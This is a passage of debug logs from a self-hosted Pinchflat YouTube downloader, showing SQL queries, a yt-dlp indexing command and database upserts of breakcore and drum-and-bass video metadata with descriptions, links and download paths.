CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["THE CYBERIA PLAYLIST: https://open.spotify.com/playlist/5dB3BPFWmOJrnRE7kHpim1?si=1e316d3f2a3a4e38&nd=1\nui gui uwu \n\nSewerslvt - NTR Ending\nTOKYOPILL - Metadata\nXxtarlit⚸ - Fleeting Frozen Heart\nZenithLights - Not Human", "All Evangelion UI / GUI Scenes (+EOE) : [Breakcore EDITION] v.2", "b313ca07-8646-4985-a87f-117a9229bf14", false, "k0oQr7ZVtBQ", 305, false, "https://www.youtube.com/watch?v=k0oQr7ZVtBQ", 10, "/downloads/Breakcore/Breakcore/2022-01-11All Evangelion UI ⧸ GUI Scenes (+EOE) : [Breakcore EDITION] v.2[k0oQr7ZVtBQ].m4a", false, false, 3, [], 1, ~U[2022-01-11 05:00:15Z], ~U[2026-07-24 02:19:46Z], ~U[2026-07-24 02:19:46Z], "THE CYBERIA PLAYLIST: https://open.spotify.com/playlist/5dB3BPFWmOJrnRE7kHpim1?si=1e316d3f2a3a4e38&nd=1\nui gui uwu \n\nSewerslvt - NTR Ending\nTOKYOPILL - Metadata\nXxtarlit⚸ - Fleeting Frozen Heart\nZenithLights - Not Human", "All Evangelion UI / GUI Scenes (+EOE) : [Breakcore EDITION] v.2", "k0oQr7ZVtBQ", 305, false, "https://www.youtube.com/watch?v=k0oQr7ZVtBQ", "/downloads/Breakcore/Breakcore/2022-01-11All Evangelion UI ⧸ GUI Scenes (+EOE) : [Breakcore EDITION] v.2[k0oQr7ZVtBQ].m4a", false, 3, ~U[2022-01-11 05:00:15Z]] 22:19:47.107 [debug] QUERY OK source="sources" db=0.1ms idle=425.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:47.107 [debug] QUERY OK source="media_profiles" db=0.1ms idle=425.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:19:47.137 [info] GET /sources 22:19:47.137 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 22:19:47.138 [debug] QUERY OK source="media_items" db=0.7ms queue=30.1ms idle=425.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [101] 22:19:47.138 [debug] Current batch of media processed. Will check again in 1000ms 22:19:47.138 [debug] QUERY OK source="settings" db=0.1ms queue=0.1ms idle=31.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:47.138 [debug] QUERY OK source="settings" db=0.1ms idle=31.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:47.138 [debug] QUERY OK source="settings" db=0.0ms idle=31.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:47.139 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:47.139 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:19:47.140 [debug] QUERY OK source="sources" db=0.4ms idle=1.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:47.141 [debug] QUERY OK source="sources" db=0.8ms idle=1.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:47.142 [info] Sent 200 in 4ms 22:19:47.237 [info] CONNECTED TO Phoenix.LiveView.Socket in 21µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HjVVcwR4KhlSN2AbEzlAbioGRRwlRGQKwXfDm0CX9QTKqtq8zlqov03I", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:19:47.257 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 22:19:47.258 [debug] QUERY OK source="sources" db=0.9ms idle=118.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 22:19:47.259 [debug] QUERY OK source="sources" db=0.8ms idle=119.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 22:19:47.259 [debug] Replied in 2ms 22:19:47.518 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PLepOFDG46IAw --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Breakcore/Breakcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/5a/e5/5ae5ceba6a482e07761864f0953be338ba6d1117da628e7509dd0eb2f4729d3c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:19:47.519 [debug] Gracefully stopping file follower 22:19:47.519 [debug] QUERY OK source="sources" db=0.2ms idle=379.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:19:47.519 [debug] QUERY OK source="sources" db=0.1ms idle=379.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:47.520 [debug] QUERY OK source="media_items" db=0.1ms idle=378.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-21 06:36:06Z], 3] 22:19:47.665 [debug] QUERY OK source="media_items" db=144.4ms idle=261.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["\"Because of you, I know I can fly.\"\n\nHey there hey there! Guess who's finally back with some DnB-adjacent stuff? I know it's been a while since I uploaded anything like this, but I hope you all enjoy it!\n\nYou can get this song on Bandcamp: https://ivelbartore.bandcamp.com/track/cascading-heart\n\nLink to the artist's socials:\nhttps://www.artstation.com/emersontung (first image, flying mech/thumbnail)\n\nThe eye visuals (from the third minute onwards) are edited from an illustration supposedly credited to \"fuyuu yume\" but I couldn’t verify the artist’s identity or their socials. \n\nAlso, on note, the intro is a screen recording from the COMP/CON website (SSC Constellar Congress community theme).", "CASCADING HEART (Lancer TTRPG | DnB/Jungle/Breakcore) - No AI", "8a0b11df-efe7-419b-97cf-d33ea9778abe", false, "vaEZXYCFZlU", 311, false, "https://www.youtube.com/watch?v=vaEZXYCFZlU", 1, "/downloads/Breakcore/Breakcore/2025-07-21CASCADING HEART (Lancer TTRPG | DnB⧸Jungle⧸Breakcore) - No AI[vaEZXYCFZlU].m4a", false, false, 3, [], 1, ~U[2025-07-21 06:36:06Z], ~U[2026-07-24 02:19:47Z], ~U[2026-07-24 02:19:47Z], "\"Because of you, I know I can fly.\"\n\nHey there hey there! Guess who's finally back with some DnB-adjacent stuff? I know it's been a while since I uploaded anything like this, but I hope you all enjoy it!\n\nYou can get this song on Bandcamp: https://ivelbartore.bandcamp.com/track/cascading-heart\n\nLink to the artist's socials:\nhttps://www.artstation.com/emersontung (first image, flying mech/thumbnail)\n\nThe eye visuals (from the third minute onwards) are edited from an illustration supposedly credited to \"fuyuu yume\" but I couldn’t verify the artist’s identity or their socials. \n\nAlso, on note, the intro is a screen recording from the COMP/CON website (SSC Constellar Congress community theme).", "CASCADING HEART (Lancer TTRPG | DnB/Jungle/Breakcore) - No AI", "vaEZXYCFZlU", 311, false, "https://www.youtube.com/watch?v=vaEZXYCFZlU", "/downloads/Breakcore/Breakcore/2025-07-21CASCADING HEART (Lancer TTRPG | DnB⧸Jungle⧸Breakcore) - No AI[vaEZXYCFZlU].m4a", false, 3, ~U[2025-07-21 06:36:06Z]] 22:19:47.665 [debug] QUERY OK source="sources" db=0.4ms idle=405.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:47.666 [debug] QUERY OK source="media_items" db=0.3ms idle=146.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-12-30 03:39:17Z], 3] 22:19:47.933 [debug] QUERY OK source="media_items" db=266.4ms idle=146.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Heaven/EXE\nWrote this album over the summer, heavily inspired by dreamcast/psx era dnb and breaks. Also inspired by early 2000's IDM. Used some old samplers and synths that were used to make Phantasy Star Online OST back in the day. \n\nTHIS MUSIC CAN BE USED IN STREAMS AND OR FOR PERSONAL PROJECTS. You will not get copyright flagged \nhttps://dusqkshop.com/products/heaven-exe-cd Buy Heaven/EXE on CD !\nhttps://dusqkshop.com/ - Merch store !\n\nSpotify - https://open.spotify.com/album/4AvGDIu6DKjsadlWRnFO97?si=MTVIXQaJQmioHIjusc3bkw\n\nI've got the album up on bandcamp for free! \nBandcamp - https://dusqk.bandcamp.com/album/heaven-exe\n\nAlbum artwork - KEVLAR:ESTUDIO™ https://www.instagram.com/kevlarestudio/ \n\n1. Heaven.exe 00:00\n2. Gods Garden 1:57\n3. 2 AM Lucid 6:05\n4. Aquatic Heaven Simulator 9:55\n5. Lo_Light Summer 04 15:28\n6. Heart Breaks 2005 20:19\n7. Dreams99 24:48\n8. Wellness Spring 29:13\n9. Keycard_Floor 68 33:32\n10. Forest Lab 37:18\n11. Heart Breaks 2005 (Saved Ver.) 40:36\n\nFollow me on instragram! https://www.instagram.com/dusqkmusic/", "Heaven/EXE [Jungle\\Breakcore\\DnB\\Dreamcast\\PSX]", "99ba13bd-235b-4596-a6ec-ac1a62c7e37c", false, "z9e8CPULjW4", 2692, false, "https://www.youtube.com/watch?v=z9e8CPULjW4", 2, "/downloads/Breakcore/Breakcore/2023-12-30Heaven⧸EXE [Jungle⧹Breakcore⧹DnB⧹Dreamcast⧹PSX][z9e8CPULjW4].m4a", false, false, 3, [], 1, ~U[2023-12-30 03:39:17Z], ~U[2026-07-24 02:19:47Z], ~U[2026-07-24 02:19:47Z], "Heaven/EXE\nWrote this album over the summer, heavily inspired by dreamcast/psx era dnb and breaks. Also inspired by early 2000's IDM. Used some old samplers and synths that were used to make Phantasy Star Online OST back in the day. \n\nTHIS MUSIC CAN BE USED IN STREAMS AND OR FOR PERSONAL PROJECTS. You will not get copyright flagged \nhttps://dusqkshop.com/products/heaven-exe-cd Buy Heaven/EXE on CD !\nhttps://dusqkshop.com/ - Merch store !\n\nSpotify - https://open.spotify.com/album/4AvGDIu6DKjsadlWRnFO97?si=MTVIXQaJQmioHIjusc3bkw\n\nI've got the album up on bandcamp for free! \nBandcamp - https://dusqk.bandcamp.com/album/heaven-exe\n\nAlbum artwork - KEVLAR:ESTUDIO™ https://www.instagram.com/kevlarestudio/ \n\n1. Heaven.exe 00:00\n2. Gods Garden 1:57\n3. 2 AM Lucid 6:05\n4. Aquatic Heaven Simulator 9:55\n5. Lo_Light Summer 04 15:28\n6. Heart Breaks 2005 20:19\n7. Dreams99 24:48\n8. Wellness Spring 29:13\n9. Keycard_Floor 68 33:32\n10. Forest Lab 37:18\n11. Heart Breaks 2005 (Saved Ver.) 40:36\n\nFollow me on instragram! https://www.instagram.com/dusqkmusic/", "Heaven/EXE [Jungle\\Breakcore\\DnB\\Dreamcast\\PSX]", "z9e8CPULjW4", 2692, false, "https://www.youtube.com/watch?v=z9e8CPULjW4", "/downloads/Breakcore/Breakcore/2023-12-30Heaven⧸EXE [Jungle⧹Breakcore⧹DnB⧹Dreamcast⧹PSX][z9e8CPULjW4].m4a", false, 3, ~U[2023-12-30 03:39:17Z]] 22:19:47.933 [debug] QUERY OK source="sources" db=0.2ms idle=413.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:19:47.934 [debug] QUERY OK source="media_items" db=0.2ms idle=269.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-28 06:46:42Z], 3] 22:19:47.934 [debug] Current batch of media processed. Will check again in 1000ms 22:19:48.037 [debug] QUERY OK source="media_items" db=103.0ms idle=268.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["somewhere in Between..\nhttps://leylinehex.bandcamp.com/album/somewhere-in-between\nhttps://open.spotify.com/album/1kOxkdnycQHX9ZYN70Wz6a\nhttps://music.apple.com/us/album/somewhere-in-between/1743664877\nhttps://linktr.ee/leylinehex\n\nTracklist:\n0:00 spirit shell online\n2:33 falling next to u\n5:58 grey skies\n9:03 fatal condition\n12:12 save the humans\n15:03 just us now\n17:01 